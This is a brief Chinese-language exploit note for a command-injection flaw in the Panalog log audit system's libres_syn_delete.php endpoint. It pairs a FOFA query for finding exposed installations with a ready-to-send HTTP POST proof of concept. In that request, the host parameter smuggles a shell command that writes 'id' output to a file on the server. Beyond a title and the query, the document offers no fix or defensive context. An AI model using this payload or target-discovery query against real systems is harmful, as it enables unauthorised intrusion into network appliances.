Panalog大数据日志审计系统libres_syn_delete.php存在命令执行.md

Panalog大数据日志审计系统libres_syn_delete.php存在命令执行

fofa

app="Panabit-Panalog"

poc

POST /content-apply/libres_syn_delete.php HTTP/1.1
Host: 
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Content-Length: 54
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded

token=1&id=2&host=|id >2cWKiiWovWYAIcNUBPkZph4xPLs.txt